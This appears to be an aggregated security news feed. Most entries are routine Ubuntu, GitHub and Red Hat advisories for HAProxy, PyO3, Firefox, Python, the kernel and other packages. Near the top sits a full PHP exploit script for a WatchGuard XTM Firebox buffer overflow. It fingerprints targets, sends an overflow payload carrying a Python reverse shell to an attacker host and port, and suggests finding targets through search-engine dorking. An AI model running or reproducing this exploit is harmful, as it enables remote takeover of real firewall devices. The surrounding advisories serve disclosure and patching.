Ubuntu Security Notice 7067-1 - It was discovered that HAProxy did not properly limit the creation of new HTTP/2 streams. A remote attacker could possibly use this issue to cause HAProxy to consume excessive resources, leading to a denial of service.

    ==========================================================================Ubuntu Security Notice USN-7067-1October 14, 2024haproxy vulnerability==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 18.04 LTSSummary:HAProxy could be made to crash or run programs if it receivedspecially crafted network traffic.Software Description:- haproxy: fast and reliable load balancing reverse proxyDetails:It was discovered that HAProxy did not properly limit the creation of newHTTP/2 streams. A remote attacker could possibly use this issue to causeHAProxy to consume excessive resources, leading to a denial of service.Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 18.04 LTS  haproxy                         1.8.8-1ubuntu0.13+esm3                                  Available with Ubuntu ProIn general, a standard system update will make all the necessary changes.References:  https://ubuntu.com/security/notices/USN-7067-1  CVE-2023-44487

Ubuntu Security Notice USN-7067-1

WatchGuard XTM Firebox version 12.5.x suffers from a buffer overflow vulnerability.

    =============================================================================================================================================| # Title     : WatchGuard XTM Firebox 12.5.x Code Injection Vulnerability                                                                  || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://www.watchguard.com/wgrd-help/documentation/xtm                                                                      |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 86 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass WatchGuardExploit {    private $targetUri;    private $lhost;    private $lport;    private $shell;    public function __construct($targetUri, $lhost, $lport, $shell = "/usr/bin/python") {        $this->targetUri = $targetUri;        $this->lhost = $lhost;        $this->lport = $lport;        $this->shell = $shell;    }    public function sendRequest($method, $url, $data = null, $headers = []) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);        if ($data) {            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        }        if (!empty($headers)) {            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);        }        $response = curl_exec($ch);        curl_close($ch);        return $response;    }    public function checkWatchGuardFirebox() {        $url = $this->targetUri . '/auth/login';        $response = $this->sendRequest('GET', $url, null, ['from_page' => '/']);                if ($response && strpos($response, 'Powered by WatchGuard Technologies') !== false             && strpos($response, 'Firebox') !== false) {            return true;        }        return false;    }    public function createBofPayload() {        // Generate the buffer overflow payload with Python reverse shell code        $randomStr = bin2hex(random_bytes(2)); // 4-character random alphanumeric        $pyFilename = "/tmp/" . $randomStr . ".py";        $payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><" . str_repeat('A', 3181) . "MFA>";        $payload .= str_repeat('<BBBBMFA>', 3680);        // Include a Python reverse shell command as the payload        $payload .= 'import socket;from subprocess import call; from os import dup2;';        $payload .= 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);';        $payload .= 's.connect(("' . $this->lhost . '",' . $this->lport . '));';        $payload .= 'dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);';        $payload .= 'call(["' . $this->shell . '","-i"]);';        $payload .= 'import os; os.remove("' . $pyFilename . '");';        return gzencode($payload); // gzip encoding    }    public function exploit() {        if (!$this->checkWatchGuardFirebox()) {            echo "Target is not vulnerable.\n";            return;        }        echo "Target is vulnerable. Sending exploit...\n";        $bofPayload = $this->createBofPayload();        // Send the buffer overflow payload        $url = $this->targetUri . '/agent/login';        $this->sendRequest('POST', $url, $bofPayload, [            'Accept-Encoding: gzip, deflate',            'Content-Encoding: gzip'        ]);        echo "Payload sent.\n";    }}// Example usage:$exploit = new WatchGuardExploit('https://target-ip:8080', 'attacker-ip', 4444);$exploit->exploit();Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

WatchGuard XTM Firebox 12.5.x Buffer Overflow

The family of functions to read "borrowed" values from Python weak references were fundamentally unsound, because the weak reference does itself not have ownership of the value. At any point the last strong reference could be cleared and the borrowed value would become dangling.

In PyO3 0.22.4 these functions have all been deprecated and patched to leak a strong reference as a mitigation. PyO3 0.23 will remove these functions entirely.



**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-f8x4-f32r-w556: PyO3 has a risk of use-after-free in `borrowed` reads from Python weak references

Red Hat Security Advisory 2024-8131-03 - An update for firefox is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.6 Telecommunications Update Service. Issues addressed include a use-after-free vulnerability.

    The following advisory data is extracted from:https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8131.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: firefox security updateAdvisory ID:        RHSA-2024:8131-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:8131Issue date:         2024-10-15Revision:           03CVE Names:          CVE-2024-9680====================================================================Summary: An update for firefox is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.6 Telecommunications Update Service.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability.Security Fix(es):* firefox: Use-after-free in Animation timeline (128.3.1 ESR Chemspill) (CVE-2024-9680)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-9680References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2317442

Red Hat Security Advisory 2024-8131-03

Red Hat Security Advisory 2024-8130-03 - An update for python3.9 is now available for Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions.

    The following advisory data is extracted from:https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8130.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: python3.9 security updateAdvisory ID:        RHSA-2024:8130-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:8130Issue date:         2024-10-15Revision:           03CVE Names:          CVE-2024-6232====================================================================Summary: An update for python3.9 is now available for Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.Security Fix(es):* python: cpython: tarfile: ReDos via excessive backtracking while parsing header values (CVE-2024-6232)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-6232References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2309426

Red Hat Security Advisory 2024-8130-03

Red Hat Security Advisory 2024-8111-03 - An update for skopeo is now available for Red Hat Enterprise Linux 9.

    The following advisory data is extracted from:https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8111.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: skopeo security updateAdvisory ID:        RHSA-2024:8111-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:8111Issue date:         2024-10-15Revision:           03CVE Names:          CVE-2024-34156====================================================================Summary: An update for skopeo is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The skopeo command lets you inspect images from container image registries, get images and image layers, and use signatures to create and verify files. Security Fix(es):* encoding/gob: golang: Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion (CVE-2024-34156)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-34156References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2310528

Red Hat Security Advisory 2024-8111-03

Red Hat Security Advisory 2024-8110-03 - An update for containernetworking-plugins is now available for Red Hat Enterprise Linux 9.

    The following advisory data is extracted from:https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8110.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: containernetworking-plugins security updateAdvisory ID:        RHSA-2024:8110-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:8110Issue date:         2024-10-15Revision:           03CVE Names:          CVE-2024-34156====================================================================Summary: An update for containernetworking-plugins is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The Container Network Interface (CNI) project consists of a specification and libraries for writing plug-ins for configuring network interfaces in Linux containers, along with a number of supported plug-ins. CNI concerns itself only with network connectivity of containers and removing allocated resources when the container is deleted. Security Fix(es):* encoding/gob: golang: Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion (CVE-2024-34156)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-34156References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2310528

Red Hat Security Advisory 2024-8110-03

Red Hat Security Advisory 2024-8107-03 - An update for kernel is now available for Red Hat Enterprise Linux 8.8 Extended Update Support. Issues addressed include a use-after-free vulnerability.

The following advisory data is extracted from:

https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8107.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: kernel security update  
Advisory ID:        RHSA-2024:8107-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:8107  
Issue date:         2024-10-15  
Revision:           03  
CVE Names:          CVE-2021-47321  
====================================================================

Summary: 

An update for kernel is now available for Red Hat Enterprise Linux 8.8 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

* kernel: ovl: fix use after free in struct ovl_aio_req (CVE-2023-1252)

* kernel: udp: do not accept non-tunnel GSO skbs landing in a tunnel (CVE-2024-35884)

* kernel: watchdog: Fix possible use-after-free by calling del_timer_sync() (CVE-2021-47321)

* kernel: mlxsw: spectrum: Protect driver from buggy firmware (CVE-2021-47560)

* kernel: scsi: qla2xxx: Fix off by one in qla_edif_app_getstats() (CVE-2024-36025)

* kernel: scsi: lpfc: Move NPIV's transport unregistration to after resource clean up (CVE-2024-36952)

* kernel: net: openvswitch: fix overwriting ct original tuple for ICMPv6 (CVE-2024-38558)

* kernel: md/raid5: fix deadlock that raid5d() wait for itself to clear MD_SB_CHANGE_PENDING (CVE-2024-39476)

* kernel: ext4: fix uninitialized ratelimit_state->lock access in __ext4_fill_super() (CVE-2024-40998)

* kernel: net/sched: Fix UAF when resolving a clash (CVE-2024-41040)

* kernel: tipc: Return non-zero value from tipc_udp_addr2str() on error (CVE-2024-42284)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2021-47321

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2176140  
https://bugzilla.redhat.com/show_bug.cgi?id=2281704  
https://bugzilla.redhat.com/show_bug.cgi?id=2282440  
https://bugzilla.redhat.com/show_bug.cgi?id=2283389  
https://bugzilla.redhat.com/show_bug.cgi?id=2284421  
https://bugzilla.redhat.com/show_bug.cgi?id=2284598  
https://bugzilla.redhat.com/show_bug.cgi?id=2293441  
https://bugzilla.redhat.com/show_bug.cgi?id=2295914  
https://bugzilla.redhat.com/show_bug.cgi?id=2297582  
https://bugzilla.redhat.com/show_bug.cgi?id=2300409

Red Hat Security Advisory 2024-8107-03

Red Hat Security Advisory 2024-8105-03 - An update for python-gevent is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service. Issues addressed include a privilege escalation vulnerability.

    The following advisory data is extracted from:https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8105.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: python-gevent security updateAdvisory ID:        RHSA-2024:8105-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:8105Issue date:         2024-10-15Revision:           03CVE Names:          CVE-2023-41419====================================================================Summary: An update for python-gevent is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:gevent is a coroutine-based Python networking library that uses greenlet to provide a high-level synchronous API on top of libevent event loop.  Features include:    * convenient API around greenlets   * familiar synchronization primitives (gevent.event, gevent.queue)   * socket module that cooperates   * WSGI server on top of libevent-http   * DNS requests done through libevent-dns   * monkey patching utility to get pure Python modules to cooperateSecurity Fix(es):* python-gevent: privilege escalation via a crafted script to the WSGIServer component (CVE-2023-41419)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-41419References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2240651

Red Hat Security Advisory 2024-8105-03

Red Hat Security Advisory 2024-8104-03 - An update for edk2 is now available for Red Hat Enterprise Linux 8.8 Extended Update Support.

    The following advisory data is extracted from:https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8104.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: edk2 security updateAdvisory ID:        RHSA-2024:8104-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:8104Issue date:         2024-10-15Revision:           03CVE Names:          CVE-2023-45232====================================================================Summary: An update for edk2 is now available for Red Hat Enterprise Linux 8.8 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:EDK (Embedded Development Kit) is a project to enable UEFI support for Virtual Machines. This package contains a sample 64-bit UEFI firmware for QEMU and KVM. Security Fix(es):* edk2: Infinite loop when parsing unknown options in the Destination Options header (CVE-2023-45232)* edk2: Infinite loop when parsing a PadN option in the Destination Options header (CVE-2023-45233)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-45232References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2258691https://bugzilla.redhat.com/show_bug.cgi?id=2258694

Tag

#vulnerability